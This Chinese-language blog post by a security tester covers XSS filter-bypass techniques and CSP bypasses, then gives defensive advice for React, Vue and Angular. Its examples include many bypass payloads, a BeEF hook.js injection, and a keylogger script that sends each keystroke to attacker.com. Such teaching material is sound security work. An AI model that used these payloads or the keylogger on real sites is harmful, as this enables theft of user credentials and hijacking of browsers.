去年在做某内部系统的安全测试时,我发现了一个有趣的XSS漏洞。当时觉得这个案例挺有代表性的,今天整理出来和大家分享一下XSS攻防的一些经验,希望对做安全测试的同学有所帮助。
绕过过滤器的几种常见思路
大小写混淆
很多开发在做输入过滤时,只简单地过滤了<script>
标签,这时候就可以尝试大小写混淆:
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
实际测试中发现,某些老旧系统的WAF对大小写还是不够敏感的。
编码绕过
编码是个大杀器,包括HTML实体编码、URL编码、Unicode编码等:
<!-- HTML实体编码 -->
<img src=x onerror="alert(1)">
<!-- 十六进制编码 -->
<img src=x onerror="\x61\x6c\x65\x72\x74(1)">
<!-- Unicode编码 -->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
之前遇到过一个案例,开发过滤了alert
关键字,但用HTML实体编码后就能绕过。
标签变形技巧
不要只盯着<script>
标签,可以利用的标签和属性其实很多:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
有时候在注释区、搜索框这些地方测试,用<img>
标签的成功率反而更高。
事件处理器的妙用
除了常见的onerror
、onload
,还有很多不太常用但很有效的事件:
<div onmouseover="alert(1)">hover me</div>
<input onchange="alert(1)">
<form onsubmit="alert(1)">
<video oncanplay="alert(1)">
<audio onloadstart="alert(1)">
高级利用场景
BeEF框架的实战应用
BeEF(Browser Exploitation Framework)是XSS利用中的瑞士军刀。找到XSS点后,注入BeEF的hook.js:
<script src="http://your-beef-server:3000/hook.js"></script>
这样就能获得目标浏览器的控制权。我曾经用BeEF演示过:
- 获取浏览器指纹信息
- 探测内网资产
- 截取用户按键
- 劫持表单提交
- 钓鱼攻击
当然,这些操作必须在授权的渗透测试环境下进行。
键盘记录实现
通过XSS可以实现键盘记录,获取用户输入的敏感信息:
document.addEventListener('keypress', function(e) {
var key = e.key || String.fromCharCode(e.keyCode);
new Image().src = 'http://attacker.com/log?key=' + encodeURIComponent(key);
});
这段代码会把用户的每次按键都发送到攻击者服务器。在实际测试中,我用这个方法成功捕获到了测试账号的密码输入。
XSS蠕虫分析
XSS蠕虫最经典的案例是2005年的Samy蠕虫,它在MySpace上疯狂传播。基本原理是利用XSS漏洞,让受害者的浏览器自动执行代码,并将蠕虫代码传播给其他用户。
一个简化的蠕虫模型:
// 读取当前用户的好友列表
// 向每个好友的留言板发送包含蠕虫代码的消息
// 消息中包含相同的XSS payload
CSP绕过的几个案例
Content Security Policy本来是用来防XSS的,但配置不当反而会被绕过。
案例一:不安全的域白名单
如果CSP配置了script-src 'self' *.cdn.com
,而cdn.com上可以上传文件,那就可以上传恶意JS文件绕过CSP。
案例二:JSONP端点利用
某些网站CSP允许了信任域名,但该域名上存在JSONP端点:
<script src="https://trusted-domain.com/jsonp?callback=alert(1)"></script>
这样就能执行任意JavaScript代码。
案例三:base标签注入
如果CSP没有限制base-uri
,可以注入base标签改变相对路径的基准:
<base href="http://attacker.com/">
这会导致页面加载攻击者服务器上的资源。
现代前端框架的XSS防护
React的防护机制
React默认会对渲染的内容进行转义,这是个很好的防护措施。但要注意dangerouslySetInnerHTML
这个API:
// 危险用法
<div dangerouslySetInnerHTML={{__html: userInput}} />
这个API会绕过React的XSS防护,必须谨慎使用。
Vue的防护与缺陷
Vue也有类似的机制,但v-html
指令同样存在风险:
<!-- 危险 -->
<div v-html="userInput"></div>
之前审计代码时发现,有些开发为了方便渲染富文本内容,直接用v-html
绑定用户输入,这是很危险的。
Angular的DomSanitizer
Angular的安全模型相对更严格,但也要注意bypassSecurityTrustHtml
这类方法:
// 绕过了Angular的安全检查
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(userInput);
防护建议
经过这些年的实践,我总结了几点防护建议:
- 输入验证:对所有用户输入进行白名单验证,而不是黑名单过滤
- 输出编码:根据上下文选择合适的编码方式(HTML编码、JavaScript编码、URL编码等)
- CSP配置:严格配置CSP策略,避免使用
unsafe-inline
和unsafe-eval
- HttpOnly Cookie:敏感Cookie设置HttpOnly属性,防止被JavaScript读取
- 框架特性:充分利用框架的安全特性,避免使用危险API
最后说一句,XSS虽然是个老问题,但在实际环境中依然很常见。做安全测试时要多角度思考,不要局限于常规的测试方法。
如果大家在实际工作中遇到有趣的XSS案例,欢迎在评论区交流讨论。
本文所有案例均在授权的测试环境下进行,请勿用于非法用途
Q.E.D.